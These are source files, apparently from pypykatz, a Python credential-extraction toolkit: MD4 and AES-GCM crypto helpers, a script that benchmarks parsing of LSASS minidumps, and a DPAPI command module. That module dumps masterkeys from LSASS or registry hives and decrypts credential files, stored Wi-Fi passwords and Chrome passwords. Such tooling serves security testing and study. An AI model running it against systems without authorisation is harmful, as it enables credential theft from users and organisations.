107 for n in range(16):
108 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
109 K, S = n, Xi[n % 4]
110 hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
111 h[i] = MD4.lrot(hn & MD4.mask, S)
112
113 # Round 2.
114 Xi = [3, 5, 9, 13]
115 for n in range(16):
116 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
117 K, S = n % 4 * 4 + n // 4, Xi[n % 4]
118 hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
119 h[i] = MD4.lrot(hn & MD4.mask, S)
120
121 # Round 3.
122 Xi = [3, 9, 11, 15]
123 Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
124 for n in range(16):
125 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
126 K, S = Ki[n], Xi[n % 4]
127 hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
128 h[i] = MD4.lrot(hn & MD4.mask, S)
129
130 self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]
131
132 @staticmethod
133 def F(x, y, z):
134 return (x & y) | (~x & z)
135
136 @staticmethod
137 def G(x, y, z):
138 return (x & y) | (x & z) | (y & z)
139
140 @staticmethod
141 def H(x, y, z):
142 return x ^ y ^ z
143
144 @staticmethod
145 def lrot(value, n):
146 lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
147 return lbits | rbits
148
149
150 def main():
151 # Import is intentionally delayed.
152 import sys
153
154 if len(sys.argv) > 1:
155 messages = [msg.encode() for msg in sys.argv[1:]]
156 for message in messages:
157 print(MD4(message).hexdigest())
158 else:
159 messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"]
160 known_hashes = [
161 "31d6cfe0d16ae931b73c59d7e0c089c0",
162 "1bee69a46ba811185c194762abaeae90",
163 "501af1ef4b68495b5b7e37b15b4cda68",
164 ]
165
166 print("Testing the MD4 class.")
167 print()
168
169 for message, expected in zip(messages, known_hashes):
170 print("Message: ", message)
171 print("Expected:", expected)
172 print("Actual: ", MD4(message).hexdigest())
173 print()
174
175
176 if __name__ == "__main__":
177 try:
178 main()
179 except KeyboardInterrupt:
180 pass
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22
23 SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer.
24 I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library.
25 """
26
27 from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter
28 from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE
29
30
31 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
32 # Please note the MSB is x0 and LSB is x127
33 def gf_2_128_mul(x, y):
34 assert x < (1 << 128)
35 assert y < (1 << 128)
36 res = 0
37 for i in range(127, -1, -1):
38 res ^= x * ((y >> i) & 1) # branchless
39 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
40 assert res < 1 << 128
41 return res
42
43
44 class InvalidInputException(Exception):
45 def __init__(self, msg):
46 self.msg = msg
47
48 def __str__(self):
49 return str(self.msg)
50
51
52 class InvalidTagException(Exception):
53 def __str__(self):
54 return 'The authenticaiton tag is invalid.'
55
56
57 # Galois/Counter Mode with AES-128 and 96-bit IV
58 class AES_GCM:
59 def __init__(self, master_key):
60 self.change_key(master_key)
61
62 def change_key(self, master_key):
63 #if len(master_key) != 16:
64 # raise InvalidInputException('Master key should be 128-bit')
65
66 self.__master_key = master_key
67 self.__aes_ecb = AESModeOfOperationECB(self.__master_key)
68 self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False)
69
70 # precompute the table for multiplication in finite field
71 table = [] # for 8-bit
72 for i in range(16):
73 row = []
74 for j in range(256):
75 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
76 table.append(tuple(row))
77 self.__pre_table = tuple(table)
78
79 self.prev_init_value = None # reset
80
81 def __times_auth_key(self, val):
82 res = 0
83 for i in range(16):
84 res ^= self.__pre_table[i][val & 0xFF]
85 val >>= 8
86 return res
87
88 def __ghash(self, aad, txt):
89 len_aad = len(aad)
90 len_txt = len(txt)
91
92 # padding
93 if 0 == len_aad % 16:
94 data = aad
95 else:
96 data = aad + b'\x00' * (16 - len_aad % 16)
97 if 0 == len_txt % 16:
98 data += txt
99 else:
100 data += txt + b'\x00' * (16 - len_txt % 16)
101
102 tag = 0
103 assert len(data) % 16 == 0
104 for i in range(len(data) // 16):
105 tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False)
106 tag = self.__times_auth_key(tag)
107 # print 'X\t', hex(tag)
108 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
109 tag = self.__times_auth_key(tag)
110
111 return tag
112
113 def encrypt(self, init_value, plaintext, auth_data=b''):
114 if len(init_value) != 12:
115 raise InvalidInputException('IV should be 96-bit')
116 # a naive checking for IV reuse
117 if init_value == self.prev_init_value:
118 raise InvalidInputException('IV must not be reused!')
119 self.prev_init_value = init_value
120
121 len_plaintext = len(plaintext)
122
123 if len_plaintext > 0:
124 ctrval_init = init_value + b'\x00'*4
125 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
126 counter = Counter(initial_value=ctrval+2) #+2 ????
127 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
128
129 if 0 != len_plaintext % 16:
130 padded_plaintext = plaintext + \
131 b'\x00' * (16 - len_plaintext % 16)
132 else:
133 padded_plaintext = plaintext
134 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
135
136 else:
137 ciphertext = b''
138
139 auth_tag = self.__ghash(auth_data, ciphertext)
140 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
141 iv_int = (iv_int << 32) | 1
142 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
143 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
144 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
145
146 auth_tag ^= iv_int_enc
147
148 assert auth_tag < (1 << 128)
149 return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False)
150
151 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
152 if len(init_value) != 12:
153 raise InvalidInputException('IV should be 96-bit')
154 if len(auth_tag) != 16:
155 raise InvalidInputException('Tag should be 128-bit')
156
157 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
158 iv_int = (iv_int << 32) | 1
159 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
160 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
161 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
162 auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc
163 auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False)
164 if auth_tag != auth_tag_verify:
165 raise InvalidTagException
166
167 len_ciphertext = len(ciphertext)
168 if len_ciphertext > 0:
169 ctrval_init = init_value + b'\x00'*4
170 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
171 counter = Counter(initial_value=ctrval+2) #+2 ????
172 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308')
189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = bytes.fromhex('cafebabefacedbaddecaf888')
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
210
211 print('plaintext:', plaintext.hex())
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', encrypted.hex())
216 print('auth tag: ', new_tag.hex())
217
218 assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091')
219 assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
220
221 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
222 print('decrypted:', decrypted.hex())
223
224
225 #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False)
226 #try:
227 # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data)
228 #except InvalidTagException:
229
230
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22 """
23
24 from Crypto.Cipher import AES
25 from Crypto.Util import Counter
26 from Crypto.Util.number import long_to_bytes, bytes_to_long
27
28
29 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
30 # Please note the MSB is x0 and LSB is x127
31 def gf_2_128_mul(x, y):
32 assert x < (1 << 128)
33 assert y < (1 << 128)
34 res = 0
35 for i in range(127, -1, -1):
36 res ^= x * ((y >> i) & 1) # branchless
37 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
38 assert res < 1 << 128
39 return res
40
41
42 class InvalidInputException(Exception):
43 def __init__(self, msg):
44 self.msg = msg
45
46 def __str__(self):
47 return str(self.msg)
48
49
50 class InvalidTagException(Exception):
51 def __str__(self):
52 return 'The authenticaiton tag is invalid.'
53
54
55 # Galois/Counter Mode with AES-128 and 96-bit IV
56 class AES_GCM:
57 def __init__(self, master_key):
58 self.change_key(master_key)
59
60 def change_key(self, master_key):
61 if master_key >= (1 << 128):
62 raise InvalidInputException('Master key should be 128-bit')
63
64 self.__master_key = long_to_bytes(master_key, 16)
65 self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB)
66 self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16))
67
68 # precompute the table for multiplication in finite field
69 table = [] # for 8-bit
70 for i in range(16):
71 row = []
72 for j in range(256):
73 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
74 table.append(tuple(row))
75 self.__pre_table = tuple(table)
76
77 self.prev_init_value = None # reset
78
79 def __times_auth_key(self, val):
80 res = 0
81 for i in range(16):
82 res ^= self.__pre_table[i][val & 0xFF]
83 val >>= 8
84 return res
85
86 def __ghash(self, aad, txt):
87 len_aad = len(aad)
88 len_txt = len(txt)
89
90 # padding
91 if 0 == len_aad % 16:
92 data = aad
93 else:
94 data = aad + b'\x00' * (16 - len_aad % 16)
95 if 0 == len_txt % 16:
96 data += txt
97 else:
98 data += txt + b'\x00' * (16 - len_txt % 16)
99
100 tag = 0
101 assert len(data) % 16 == 0
102 for i in range(len(data) // 16):
103 tag ^= bytes_to_long(data[i * 16: (i + 1) * 16])
104 tag = self.__times_auth_key(tag)
105 # print 'X\t', hex(tag)
106 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
107 tag = self.__times_auth_key(tag)
108
109 return tag
110
111 def encrypt(self, init_value, plaintext, auth_data=b''):
112 if init_value >= (1 << 96):
113 raise InvalidInputException('IV should be 96-bit')
114 # a naive checking for IV reuse
115 if init_value == self.prev_init_value:
116 raise InvalidInputException('IV must not be reused!')
117 self.prev_init_value = init_value
118
119 len_plaintext = len(plaintext)
120 # len_auth_data = len(auth_data)
121
122 if len_plaintext > 0:
123 counter = Counter.new(
124 nbits=32,
125 prefix=long_to_bytes(init_value, 12),
126 initial_value=2, # notice this
127 allow_wraparound=False)
128 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
129
130 if 0 != len_plaintext % 16:
131 padded_plaintext = plaintext + \
132 b'\x00' * (16 - len_plaintext % 16)
133 else:
134 padded_plaintext = plaintext
135 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
136
137 else:
138 ciphertext = b''
139
140 auth_tag = self.__ghash(auth_data, ciphertext)
141 print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex())
142 # print 'GHASH\t', hex(auth_tag)
143 auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt(
144 long_to_bytes((init_value << 32) | 1, 16)))
145
146 # assert len(ciphertext) == len(plaintext)
147 assert auth_tag < (1 << 128)
148 return ciphertext, auth_tag
149
150 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
151 if init_value >= (1 << 96):
152 raise InvalidInputException('IV should be 96-bit')
153 if auth_tag >= (1 << 128):
154 raise InvalidInputException('Tag should be 128-bit')
155
156 print(long_to_bytes((init_value << 32) | 1, 16))
157 print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16)))
158 print('ghash %s' % self.__ghash(auth_data, ciphertext))
159 print('')
160 if auth_tag != self.__ghash(auth_data, ciphertext) ^ \
161 bytes_to_long(self.__aes_ecb.encrypt(
162 long_to_bytes((init_value << 32) | 1, 16))):
163 raise InvalidTagException
164
165 len_ciphertext = len(ciphertext)
166 if len_ciphertext > 0:
167 counter = Counter.new(
168 nbits=32,
169 prefix=long_to_bytes(init_value, 12),
170 initial_value=2,
171 allow_wraparound=True)
172 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = 0xfeffe9928665731c6d6a8f9467308308
189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = 0xcafebabefacedbaddecaf888
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47
210
211 print('plaintext:', hex(bytes_to_long(plaintext)))
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', hex(bytes_to_long(encrypted)))
216 print('auth tag: ', hex(new_tag))
217
218 try:
219 decrypted = my_gcm.decrypt(init_value, encrypted,
220 new_tag + 1, auth_data)
221 except InvalidTagException:
222 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
223 print('decrypted:', hex(bytes_to_long(decrypted)))
224
0
1 import sys
2 import traceback
3 import asyncio
4
5 from pypykatz.pypykatz import pypykatz
6 from pypykatz.apypykatz import apypykatz
7
8 class DebugFile:
9 def __init__(self, filename):
10 self.filename = filename
11 self.fh = open(self.filename, 'rb')
12
13 self.reads = []
14 self.total_read = 0
15
16 def read(self, n = -1):
17 #print('READ %s' % n)
18 self.reads.append((self.fh.tell(), n))
19 self.total_read += n
20 #if n > 1024*40:
21 # print('READ %s' % n)
22 # traceback.print_stack()
23 # input()
24 return self.fh.read(n)
25
26 def seek(self, n, whence = 0):
27 #print('SEEK %s %s' % (n, whence))
28 return self.fh.seek(n, whence)
29
30 def tell(self):
31 return self.fh.tell()
32
33 class ADebugFile:
34 def __init__(self, filename):
35 self.filename = filename
36 self.fh = open(self.filename, 'rb')
37
38 self.reads = []
39 self.total_read = 0
40
41 async def read(self, n = -1):
42 #print('READ %s' % n)
43 self.reads.append((self.fh.tell(), n))
44 self.total_read += n
45 #if n > 1024*40:
46 # print('READ %s' % n)
47 # traceback.print_stack()
48 # input()
49 return self.fh.read(n)
50
51 async def seek(self, n, whence = 0):
52 #print('SEEK %s %s' % (n, whence))
53 return self.fh.seek(n, whence)
54
55 def tell(self):
56 return self.fh.tell()
57
58 async def amain():
59 for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]:
60 f = ADebugFile(sys.argv[1])
61 mimi = await apypykatz.parse_minidump_external(f, chunksize=chk, packages=['all'])
62 res = sorted(f.reads, key=lambda x: x[0])
63 i = 0
64 for pos, n in res:
65 #print('READ: %s %s' % (pos, n))
66 if n < 1024:
67 i += 1
68 print('chk : %s' % chk)
69 print('reads: %s' % len(f.reads))
70 print('small reads: %s' % i)
71 print('total reads: %s' % (f.total_read))
72 print('')
73 print('DONE!')
74
75
76 def main():
77 for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]:
78 f = DebugFile(sys.argv[1])
79 mimi = pypykatz.parse_minidump_external(f, chunksize=chk, packages=['all'])
80 res = sorted(f.reads, key=lambda x: x[0])
81 i = 0
82 for pos, n in res:
83 #print('READ: %s %s' % (pos, n))
84 if n < 1024:
85 i += 1
86 print('chk : %s' % chk)
87 print('reads: %s' % len(f.reads))
88 print('small reads: %s' % i)
89 print('total reads: %s' % (f.total_read))
90 print('')
91 print('DONE!')
92
93 if __name__ == '__main__':
94 #main()
95 asyncio.run(amain())
0 from pypykatz.commons.common import UniversalEncoder, hexdump
1 import argparse
2 import platform
3
4
5 class DPAPICMDHelper:
6 def __init__(self):
7 self.live_keywords = ['dpapi']
8 self.keywords = ['dpapi']
9
10 def add_args(self, parser, live_parser):
11
12 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
13 live_dpapi_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
14 live_dpapi_subparsers.required = True
15 live_dpapi_subparsers.dest = 'livedpapicommand'
16
17 live_keys_parser = live_dpapi_subparsers.add_parser('keys', help = '[ADMIN ONLY] Dump all local DPAPI related keys. Aggressively. Recommended: use file output. !This takes a while!')
18 live_keys_parser.add_argument('--method', choices = ['lsass', 'registry', 'all'], default = 'all', help= 'Where to look for the keys')
19 live_keys_parser.add_argument('-o', '--outfile', help= 'Output file base name')
20
21 live_vpol_parser = live_dpapi_subparsers.add_parser('vpol', help = 'Decrypting VPOL file with current user context')
22 live_vpol_parser.add_argument('vpolfile', help= 'VPOL file to decrypt')
23
24 live_vcred_parser = live_dpapi_subparsers.add_parser('vcred', help = 'Decrypt VCRED')
25 live_vcred_parser.add_argument('vpolfile', help= 'VPOL file to use to decrypt the VCRED file')
26 live_vcred_parser.add_argument('vcredfile', help= 'VCRED file to decrypt')
27
28 live_cred_parser = live_dpapi_subparsers.add_parser('cred', help = 'Decrypt CRED file')
29 live_cred_parser.add_argument('credfile', help= 'CRED file to decrypt')
30
31
32 live_blob_parser = live_dpapi_subparsers.add_parser('blob', help = 'Decrypt raw dpapi blob hex')
33 live_blob_parser.add_argument('blob', help= 'blob string in hex format')
34
35 live_securestring_parser = live_dpapi_subparsers.add_parser('securestring', help = 'Decrypt securestring hex')
36 live_securestring_parser.add_argument('securestring', help= 'securestring in hex format')
37
38 live_blobfile_parser = live_dpapi_subparsers.add_parser('blobfile', help = '')
39 live_blobfile_parser.add_argument('blobfile', help= 'Decrypt raw dpapi blob in file')
40
41 live_securestringfile_parser = live_dpapi_subparsers.add_parser('securestringfile', help = '')
42 live_securestringfile_parser.add_argument('securestringfile', help= 'Decrypt securestring from file')
43
44 live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords')
45 live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.')
46
47
48 live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser])
49
50
51 #offline
52 prekey_subcommand_parser = argparse.ArgumentParser(add_help=False)
53 dpapi_prekey_subparsers = prekey_subcommand_parser.add_subparsers(help = 'prekey_command')
54 dpapi_prekey_subparsers.required = True
55 dpapi_prekey_subparsers.dest = 'prekey_command'
56
57 prekey_passwd = dpapi_prekey_subparsers.add_parser('password', help = 'Generate prekeys from password')
58 prekey_passwd.add_argument('sid', help='SID of the user')
59 prekey_passwd.add_argument('password', help='Password of the user')
60 prekey_passwd.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
61
62 prekey_nt = dpapi_prekey_subparsers.add_parser('nt', help = 'Generate prekeys from NT hash')
63 prekey_nt.add_argument('sid', help='SID of the user')
64 prekey_nt.add_argument('nthash', help='NT hash of the user')
65 prekey_nt.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
66
67 prekey_registry = dpapi_prekey_subparsers.add_parser('registry', help = 'Generate prekeys from registry secrets')
68 prekey_registry.add_argument('system', help='SYSTEM hive')
69 prekey_registry.add_argument('sam', help='SAM hive')
70 prekey_registry.add_argument('security', help='SECURITY hive')
71 prekey_registry.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
72
73
74 dpapi_group = parser.add_parser('dpapi', help='DPAPI (offline) related commands')
75 dpapi_subparsers = dpapi_group.add_subparsers()
76 dpapi_subparsers.required = True
77 dpapi_subparsers.dest = 'dapi_module'
78
79 dpapi_subparsers.add_parser('prekey', help = 'Prekey generation', parents=[prekey_subcommand_parser])
80
81 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys and prekeys from minidump file')
82 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
83 dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
84
85
86 dpapi_masterkey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
87 dpapi_masterkey_group.add_argument('masterkeyfile', help='path to masterkey file')
88 dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
89 dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
90
91
92 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
93 dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
94 dpapi_credential_group.add_argument('cred', help='path to credential file')
95
96 dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file')
97 dpapi_vcred_group.add_argument('vcred', help='path to vcred file')
98 dpapi_vcred_group.add_argument('--vpolkey', nargs='+', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys')
99
100 dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file')
101 dpapi_vpol_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
102 dpapi_vpol_group.add_argument('vpol', help='path to vpol file')
103
104
105 dpapi_securestring_group = dpapi_subparsers.add_parser('securestring', help='Decrypt securestring')
106 dpapi_securestring_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
107 dpapi_securestring_group.add_argument('securestring', help='path to securestring file (hex data expected!), or the securestring in hex form')
108
109 dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob')
110 dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
111 dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form')
112
113 def execute(self, args):
114 if len(self.keywords) > 0 and args.command in self.keywords:
115 self.run(args)
116
117 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
118 self.run_live(args)
119
120 def run(self, args):
121 from pypykatz.dpapi.dpapi import DPAPI
122
123 dpapi = DPAPI()
124
125 if args.dapi_module == 'prekey':
126 if args.prekey_command == 'registry':
127 if args.system is None:
128 raise Exception('SYSTEM hive must be specified for registry parsing!')
129 if args.sam is None and args.security is None:
130 raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.')
131
132 dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam)
133
134 elif args.prekey_command == 'password':
135 if args.sid is None:
136 raise Exception('SID must be specified for generating prekey in this mode')
137
138 pw = args.password
139 if args.password is None:
140 import getpass
141 pw = getpass.getpass()
142
143 dpapi.get_prekeys_from_password(args.sid, password = pw)
144
145 elif args.prekey_command == 'nt':
146 if args.nt is None or args.sid is None:
147 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
148
149 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
150
151
152 dpapi.dump_pre_keys(args.out_file)
153
154
155 elif args.dapi_module == 'minidump':
156 if args.minidumpfile is None:
157 raise Exception('minidump file must be specified for mindiump parsing!')
158
159 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
160 dpapi.dump_masterkeys(args.out_file)
161 dpapi.dump_pre_keys(args.out_file + '_prekeys')
162
163
164 elif args.dapi_module == 'masterkey':
165 if args.key is None and args.prekey is None:
166 raise Exception('Etieher KEY or path to prekey file must be supplied!')
167
168 if args.prekey:
169 dpapi.load_prekeys(args.prekey)
170 dpapi.decrypt_masterkey_file(args.mkf)
171
172 if args.key:
173 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
174
175 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
176 print('Failed to decrypt the masterkeyfile!')
177 return
178
179 dpapi.dump_masterkeys(args.out_file)
180
